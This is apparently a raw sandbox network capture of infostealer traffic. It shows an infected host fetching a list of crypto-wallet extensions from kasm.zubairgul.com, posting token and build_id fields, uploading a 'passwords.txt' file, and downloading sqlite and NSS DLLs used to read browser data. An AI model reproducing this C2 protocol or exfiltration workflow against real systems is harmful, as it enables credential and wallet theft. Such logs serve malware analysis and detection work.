Oct 8, 2024 02:45:21.107815027 CEST	672	IN	Data Raw: 70 63 32 55 67 4c 53 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 Data Ascii: pc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam
Oct 8, 2024 02:45:21.107824087 CEST	1236	IN	Data Raw: 6c 64 43 41 74 49 46 42 76 62 47 74 68 5a 47 39 30 49 46 64 68 62 47 78 6c 64 48 77 78 66 47 39 75 61 47 39 6e 5a 6d 70 6c 59 57 4e 75 5a 6d 39 76 5a 6d 74 6d 5a 33 42 77 5a 47 78 69 62 57 78 74 62 6e 42 73 5a 32 4a 75 66 44 46 38 4d 48 77 77 66 Data Ascii: ldCAtIFBvbGthZG90IFdhbGxldHwxfG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHwxfG1tbWpiY2ZvZmNvbmthbm5qb25mbWpqYWpwbGxkZGJnfDF8MHwwfEdsYXNzIFdhbGxldCAtIFN1aSBXYWxsZXR8MXxsb2luZWtjYWJobG1oampib2NpamRvaW1tZWphbmdvYXwxfDB8MH
Oct 8, 2024 02:45:21.107832909 CEST	232	IN	Data Raw: 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 44 46 38 62 6e 42 6f 63 47 78 77 5a 32 39 68 61 32 68 6f 61 6d 4e 6f 61 32 74 6f 62 57 6c 6e 5a 32 46 72 61 57 70 75 61 32 68 6d 62 6d 52 38 4d 58 77 77 66 44 42 38 54 58 6c 55 62 32 35 58 59 Data Ascii: 8MHxUT04gV2FsbGV0fDF8bnBocGxwZ29ha2hoamNoa2tobWlnZ2FraWpua2hmbmR8MXwwfDB8TXlUb25XYWxsZXR8MXxmbGRmcGdpcGZuY2duZGZvbGNia2RlZWtuYmJibmhjY3wxfDB8MHxVbmlzd2FwIEV4dGVuc2lvbnwxfG5ucG1mcGxrZm9nZnBtY25ncGxobmJkbm5pbG1jZGNnfDF8MHwwfA==0
Oct 8, 2024 02:45:21.109074116 CEST	517	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB Host: kasm.zubairgul.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="mode"21------DAKEBAKFHCFHIEBFBAFB--
Oct 8, 2024 02:45:21.721985102 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Oct 8, 2024 02:45:21.786546946 CEST	186	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJ Host: kasm.zubairgul.com Content-Length: 5965 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:21.786640882 CEST	5965	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------EHJDHJKFIECAAK
Oct 8, 2024 02:45:22.641601086 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 8, 2024 02:45:22.644608974 CEST	100	OUT	GET /sql.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:22.851800919 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:22 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Oct 8, 2024 02:45:22.852067947 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%oR}r
Oct 8, 2024 02:45:22.852102995 CEST	1236	IN	Data Raw: e9 de dd 1a 00 e9 38 5b 1e 00 e9 03 3c 1c 00 e9 d8 5a 1b 00 e9 36 f6 1d 00 e9 a1 53 1c 00 e9 fd 8f 1c 00 e9 5c c1 1b 00 e9 7e a0 1a 00 e9 cf ff 1e 00 e9 f6 9f 1a 00 e9 68 00 1e 00 e9 b8 b0 1f 00 e9 32 5a 1d 00 e9 43 81 1e 00 e9 c5 06 1b 00 e9 b0 Data Ascii: 8[<Z6S\~h2ZC;<V.++-9nq(+:FEska9_U`GiY! O<'_zBo0q
Oct 8, 2024 02:45:22.852973938 CEST	1236	IN	Data Raw: af 87 1e 00 e9 da 21 1d 00 e9 17 0a 1d 00 e9 54 2a 1a 00 e9 b6 59 1b 00 e9 d4 75 00 00 e9 97 40 1c 00 e9 2d 18 1c 00 e9 36 21 1b 00 e9 f4 21 20 00 e9 b1 44 1f 00 e9 be af 1c 00 e9 e1 96 1e 00 e9 6e 6b 1d 00 e9 bb a8 1c 00 e9 92 79 1f 00 e9 ed 8d Data Ascii: !T*Yu@-6!! DnkySD<8~d`14Y^2HNU7V3P][ M #~Vvt5-
Oct 8, 2024 02:45:24.938563108 CEST	186	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: kasm.zubairgul.com Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:25.853666067 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 8, 2024 02:45:25.934043884 CEST	186	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: kasm.zubairgul.com Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:26.856311083 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 8, 2024 02:45:26.871419907 CEST	622	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCF Host: kasm.zubairgul.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 47 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 4b 4b 46 48 [TRUNCATED] Data Ascii: ------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------CAAKKFHCFIECAAAKEGCFContent-Disposition: form-data; name="file_data"------CAAKKFHCFIECAAAKEGCF--
Oct 8, 2024 02:45:27.653160095 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 8, 2024 02:45:27.736028910 CEST	622	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE Host: kasm.zubairgul.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 66 65 32 32 63 30 65 66 62 34 65 32 31 39 63 66 62 39 65 38 36 31 31 66 34 66 66 61 61 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 34 61 35 62 63 38 62 37 33 65 31 32 34 32 35 61 64 63 33 63 33 39 39 64 61 38 31 33 36 38 39 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 [TRUNCATED] Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"85fe22c0efb4e219cfb9e8611f4ffaaa------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"4a5bc8b73e12425adc3c399da8136891------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_data"------EGIDAAFIEHIEHJKFHCAE--
Oct 8, 2024 02:45:28.520961046 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 8, 2024 02:45:28.553523064 CEST	104	OUT	GET /freebl3.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:28.881474972 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:28 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-a7550" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 8, 2024 02:45:29.534539938 CEST	104	OUT	GET /mozglue.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:29.741290092 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:29 GMT Content-Type: application/octet-stream Content-Length: 608080 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-94750" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 8, 2024 02:45:30.182456970 CEST	105	OUT	GET /msvcp140.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:30.444494963 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:30 GMT Content-Type: application/octet-stream Content-Length: 450024 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-6dde8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 8, 2024 02:45:30.740588903 CEST	105	OUT	GET /softokn3.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:30.970834970 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:30 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-3ef50" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 8, 2024 02:45:31.084147930 CEST	109	OUT	GET /vcruntime140.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 02:45:31.290374041 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 08 Oct 2024 00:45:31 GMT Content-Type: application/octet-stream Content-Length: 80880 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: keep-alive ETag: "6315a9f4-13bf0" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 8, 2024 02:45:31.306165934 CEST	101	OUT	GET /nss3.dll HTTP/1.1 Host: kasm.zubairgul.com Connection: Keep-Alive Cache-Control: no-cache
